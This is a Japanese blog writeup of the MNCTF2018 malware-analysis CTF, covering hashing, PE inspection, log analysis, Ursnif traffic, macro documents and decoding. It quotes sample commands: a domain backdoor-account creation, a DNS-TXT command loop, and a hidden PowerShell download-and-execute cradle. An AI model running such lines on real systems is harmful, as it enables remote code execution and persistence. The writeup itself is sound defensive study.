ごちゃごちゃしたIT勉強記録

自分用メモ。主にセキュリティで、その他色々書きたい。

Writeup - 今さらながらMNCTF2018をやってみた

MNCTF2019が公開されましたが、まずこっちをやってなかったのでやってみた。 基本的には、他のWriteupはみない状態でチャレンジ。ギブアップしたものだけみて勉強

解析環境は、VMWindowsLinux両方を用意。

練習問題

これについては、特に説明は不要かと。 単純に指定された文字列を入力欄に入力するだけ。

新人奮闘Ⅰ

解析対象のマルウェアのSHA-256のハッシュ値を求める問題。 やり方は色々ありそう。

Windows OSでやる場合には、CertutilコマンドとPowershellGet-FileHashコマンドが使えそう。

  • certutilコマンドを使う
certutil.exe -hashfile AD_OptimizationTool.exe SHA256
SHA256 ハッシュ (ファイル AD_OptimizationTool.exe):
f2 4f 56 29 be 2e 0f 82 1a db 36 fe 4d 47 40 79 37 f5 a3 18 bf 96 ae 36 55 b6 28 f8 33 04 0f 29
CertUtil: -hashfile コマンドは正常に完了しました。

ただし、certutilの場合だと、1バイトごとにスペースが入ってしまうのでそのままVTに投げてもちゃんと解析してくれない。 (取り除くとなると一手間かかる)

  • PowershellのGet-FileHashコマンドレットを使う
PS > Get-FileHash -algorithm sha256 .\AD_OptimizationTool.exe | select-object hash

Hash
----
F24F5629BE2E0F821ADB36FE4D47407937F5A318BF96AE3655B628F833040F29

こっちの方が非常に簡単。複数カラムが出てくるけど、ハッシュ値以外不要なのでselect-objectコマンドレットでハッシュ値のみを出すようにした。

新人奮闘Ⅱ

とだくんの解析レポートのお手伝い。全部を埋める必要がある。 項目で埋める必要があるのは以下の通り。

ファイル情報

  • MD5, SHA1, SHA256
  • ファイルサイズ(バイト)

PE情報

ぱっと見、全てCFF Explorerやpestudioでいけそうだなぁという感じ。 ただし、いずれのツールもSHA-256のハッシュ値は出てこない。 まぁ、先ほどの問題でSHA-256のハッシュ値はすでに出ているので、ここでは特に問題はないはず

PEの情報は、コンパイル日時はFile Header内に書かれている。CFF ExplorerだとHexの値で出てくるので変換(Unix timestampの形式なので、それを踏まえて)が必要だが、pestudioだとちゃんと変換後の情報(かつLocal Time)で出してくれている。問題はUTCで答えないといけないため、pestudioで出た時間から-9時間すればいい。

Import関数については、Section Headerをみると.importというセクションがあるのでおそらくここにDLLとインポート関数の名前が出てくると思われる。実際、CFF ExplorerでImport Directoryの項目をみるとDLL名とインポート関数の名前が出てくるので、これを答えればいい。pestudioの場合であればimport symbolという項目でインポート関数を一覧でみることができる(こっちの方が問題解く上では楽)

新人奮闘Ⅲ

マルウェアが実行されたあとコマンドが実行される」とあるので、Windows APIのShellExecuteAを実行するところの引数を確認すればいい。 IDAなどのディスアセンブラなど使えば問題ない。 IDAを使う場合には、まずImportのタブからShellExecuteAのアドレスにとび、次にShellExecuteAのアドレスをcallしている部分にxrefで飛べばいい。

cmd /c net user /add /domain vpnadmin P@ssw0rD1!

というコマンドがみれるはず。 コマンドの意味は「ドメインにvpnadminユーザーを追加して、パスワードをP@ssw0rD1!に設定する」。

新人奮闘Ⅳ

アクセスログの分析とマルウェア解析の情報で不正ログインされている時刻を答える問題。 マルウェアによって作成されたアカウントがvpnadminなので、まずはログの中でこのユーザーがあるかどうかを確認 いつもだとLinuxのコマンドを使うのですが、今回はあえてPowershellでチャレンジ。

PS> Get-Content -Path .¥vpn20180712.log -Encoding String | ConvertFrom-Csv | Where-Object { $_.account -eq "vpnadmin"}

date             account  ipaddress   
----             -------  ---------   
2018/07/13 15:01 vpnadmin 27.117.128.1

なので、上記の時間を答えればいい。

新人奮闘Ⅳ

攻撃元IPアドレスがどの国か、という問題。 上記のIPアドレスをGeoIPなどにぶん投げばとける。Koreaと出てくるので、回答は韓国になる。

大量不正

マルウェア軍から類似性の高い組み合わせを見つける問題。 類似性というとファジーハッシュかな、ということでssdeepコマンドで検体同士の比較を行う。ssdeepコマンドはREMnuxやSIFT(forensic workstation)に入っている。 ダウンロードしたzipを展開して、以下のコマンドを実行すると比較した結果を表示してくれる

$ ssdeep -b -d malware/*
sample68.bin matches sample1.bin (99)

種類特定

苦手なネットワーク関連。パケットからマルウェアの名前を特定する。 pcapを解析することになるので、無難にWiresharkを使っていく。

pcapを開いて、まず「あー」という感じで、あきらかに怪しそうな通信があるのがわかる。 自分の感覚では、「無意味に長く、パスの名前に規則性がなさそうなもの」は「なんか怪しい」と思う。

f:id:motojiroxx:20190706115121p:plain

ただ、自分はここからわかんなかった。。「こっから先、どうすればいいんだ」状態。 というわけでここであきらめて他の人のwriteupとかみてみた。/image/とか.gifがつくのはUrsnifの特徴らしい。 NTTセキュリティさんのところでも、UrsnifがC2サーバと通信する際のURLの特徴としてあげていた。

バンキングマルウェア「URSNIF」解析レポート https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226

こういったURLの特徴から種別を特定するって頭があまりなかったので、非常にいい知見を得られた! 中身の動作以外にも、こういうところにもちゃんと目を向けないとという教訓にもなった。

標的型攻撃Ⅰ

メールに添付されているexcelファイルを解析する問題。 OfficeMalScannerかoledump.pyが使えるかな、という所。コマンドとか具体的に何できたかは、ちょっとうろ覚えなのであとでちゃんと確認しておきたい。 OfficeMalScannerを使う場合には、以下のコマンドで実行。ただ、ファイル名がおかしいのかどうかわからないけどなぜか用意した環境だとちゃんと解析されなかったので、ファイル名をちょっと変更して行う。

officemalscanner malicious_201800711.xls info

+------------------------------------------+
|           OfficeMalScanner v0.61         |
|  Frank Boldewin / www.reconstructer.org  |
+------------------------------------------+

[*] INFO mode selected
[*] Opening file malicious_201800711.xls
[*] Filesize is 39424 (0x9a00) Bytes
[*] Ms Office OLE2 Compound Format document detected
[*] Format type Excel

--------------------------------------------------
[Scanning for VB-code in MALICIOUS_201800711.XLS]
--------------------------------------------------
Sheet1
ThisWorkbook
-----------------------------------------------------------------------------
                VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
               The decompressed Macro code was stored here:

------> C:\Users\motojiro\Desktop\mnctf\MALICIOUS_201800711.XLS-Macros
-----------------------------------------------------------------------------

マクロが検出され出力されるので、マクロのコードをみてみる。 どうやらC6:C11の範囲のユーザー名と比較を行なっているっぽいので、実際にシートの中身をみていく。ただ、Officeとか用意するの面倒なのでゴリ押しするw

問題として配布されたexcelファイルの拡張子を.zipに変更して、そのzipを展開。すると、excel内のリソースが色々出てくる。 その中で、実際のシートに該当しそうなファイルとしてWorkbookというファイルがあるので、これをメモ帳で開く。

f:id:motojiroxx:20190706115402p:plain

なんかユーザー名っぽいものがいくつか見える。これを回答に投げてやればいい。

.....絶対Officeとか用意しておいたほうがいいよなぁw

なお、もし、フォレンジック調査で「感染した端末のディスクが入手できた」のであれば、Recentフォルダとかを調査して「このExcelファイルがいつ開かれたか」を調査する必要がある、はず。

標的攻撃Ⅱ

ドキュメントのマクロが実行されるとHTTPSの通信が発生するので、そのURLを回答する問題。 そうなると、マクロの中にURLが含まれているかどうかをまず確認。ちゃっかりあるので、これが答え。

なお、実行ファイルの格納先としてスタートアップフォルダが指定されているので、PC再起動時にこの通信で取得した実行ファイルが動作するようになる。 なので、フォレンジックする時には、「スタートアップフォルダに実行ファイルがあるかどうか」と実際に実行されたとなれば「Prefetchファイルに当該実行ファイル名のものが残っているか、残っている場合にはそのPrefetchファイルから実行の履歴を抽出」する必要がある。

標的攻撃Ⅲ

excelのマクロ実行後に出てくる2次検体のsha256を答える問題。 標的攻撃Ⅱの部分で、落としてくるファイルのURLがわかっており、そのあとのスクリプトの部分で落としてきたファイルに対してどのような操作が行われるかが明示的に示されている。 certというファイルを落としてスタートアップフォルダに格納。certutil -decodeを使ってデコードをおこない、cert.exeとしてファイルを保存している。 なので、同じようにファイルをダウンロードしてcertutilコマンドを実行する

certutil -decode cert cert.exe

あとは、このcert.exeのsha256のハッシュ値を求めればいい

Get-FileHash -Algorithm sha256 cert.exe | Select-Object Hash

Hash
----
C4F069D079330CD46E51F9469C27015ED34C6371481DF83A323BC098F3B53382

標的攻撃Ⅳ

2次検体を実行するとHTTPSの通信が発生する。その「最初の通信のURL」を求める。 うわぁ。またネットワークの問題...

へこたれず、まずは検体を調べてみる。 まずは、表層解析をExeInfo PEとCFF Explorerをつかってやる。 ExeInfo PEで、パッカーがかかっていないかどいうかチェック。かかっていなさそう(セクションのサイズも特に問題なさそう) CFF Explorerを使って、インポート関数とかを確認。通信系のDLLであるWSOCK32.dllやWS2_32.dllの存在が確認できた。多分ここら辺使って通信は行うんだろう。

ということで、いきなりIDAを使う。。。のではなく解析環境上で動かしてみて、なにか出るかやってみる。通信は外に出したくないので閉鎖環境上で2台動かす。Windows上でProcess Monitorを起動した状態で検体を動かし、REMnuxでINetSimとfakeDNSを動かして動作の観察を行う。

実際、検体を動かしてみると、fakeDNSのログにshino.meと出てきたので「これだ!」と思って投げてみたけど不正解。 ただ、それ以外でそれらしきものが出ない。 cmdでnslookupを実行しているのは把握できた。実際に把握できたコマンドは以下の通り(Process Monitorから)。

cmd.exe /c for /F "usebackq tokens=*" %i in (`"nslookup -querytype=TXT shinohack.me. ns1.domain.com"`) do cmd /c %i

ただ、こっから先で止まってしまった。 ということでうんうん悩んだけどわからんかったのでギブアップ。 他の方のwriteupをみると、「shinohack.meドメインのtxtレコードをDNS検索すると、PowerShellコマンドがそこに含まれている」とあった。 実際に、インターネットに接続できるLinux環境を使って、cmdで実行されているnslookupコマンド部分のみを実行してみると....

$ nslookup -querytype=TXT shinohack.me. ns1.domain.com
Server:     ns1.domain.com
Address:    66.96.142.147#53

shinohack.me    text = "powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');"

出てきましたね。。。DownloadStringで指定されているURLが問題の回答になる。

普通にcmdで実行したnslookupコマンド部分のみを抜き出して実行したらよかっただけかー、という感じ。ただ、解析環境が閉鎖的なのでその点は注意が必要。

穴埋防御

配布されるyaraルールをみてみると、stringsの箇所で「Mutex Nameを入力してね」とあるので、Mutexを不審なファイルから探してみる

不審なファイルは、中身をみると明らかエンコードとかされているようなので、まずはBase64でデコードしてみる。

Certutil -decode Mutant.txt decoded_mutant.txt

するとあっさりPowershellスクリプトが出てくる。 スクリプトの中身をVSCodeでみていく(outlineで関数名が出てくるので非常に便利)と、よくみるInvoke-ReflectivePEInjectionが出てきます。PowerSploitのモジュールの1つですね。

上から下までズラーっとみていくと、最後の行にInvoke-REflectivePEInjectionを実際に実行している部分がある。 引数のうちPEBytesで指定されているものが長ったるいエンコードされた文字列なので、ひとまずbase64でデコードしてファイルとして出力にしてみる。 中身をみるとこんな感じ。

f:id:motojiroxx:20190706113923p:plain

ちょっとおしい。先頭がMZの出来損ないみたいになっているので、もう一手間ありそう。という事で、もう一度Powershellスクリプトに戻る。注目すべきはPEBytesにどのような処理が加えられているかVSCode上で「 PEBytes」で検索をかけると結構出てくるが、Main関数の中に変換処理が記述されている。

f:id:motojiroxx:20190706114732p:plain

  • Base64でデコード処理([System.Convert]::FromBase64String)
  • XOR 0x17

なので、これの通りに変換処理を加えてみる。ちゃんとPEフォーマットになっている様子。 あとは、outputをファイルとして出力してIDAなりで解析する。CyberChef本当に便利。

IDAで解析する際には、CreateMutexの関数に注目すればいい。引数として設定されている文字列がMutexの値となる。

f:id:motojiroxx:20190706113847p:plain

(かっこは外さないと正解じゃないらしい....)

盗難情報

暗号いやぁ〜。けどチャレンジ。 暗号化はXOR, Base64, ROT13の順番で行われているらしい。 という事で、CyberChefを使って上の逆順で処理をかけてみる。ただ、XORのシングルバイトキーはまだ不明なので適当に入れてみようかな。と思いきやCyberChefにXOR Brute ForceといういけてるOperationがあったので、これを使ってみる。 やってみた結果がこちら。

f:id:motojiroxx:20190706113809p:plain

key=0x15で、先頭の文字列が画像ファイルのシグネチャみたいなものになっている。なので、XORでkey=0x15に設定し、変換後ファイルとして保存する。

f:id:motojiroxx:20190706113755p:plain

中身をみると、中に答えが書いてあるという感じ。

感想

自力で結構解けたのが意外だった。自分の成長が感じ取れたのはかなり嬉しい。 また、マルウェアの情報の収集とかは結構しているつもりだったけど、特徴とかそういったものをちゃんとおさえられてないと若干危機感を感じた(Ursnifの問題)ので、ちゃんと情報収拾したらまとめておきたい。 ネットワーク関連は苦手なので、ちゃんと勉強しようと思った。

では、次はMNCTF2019を解くぞー!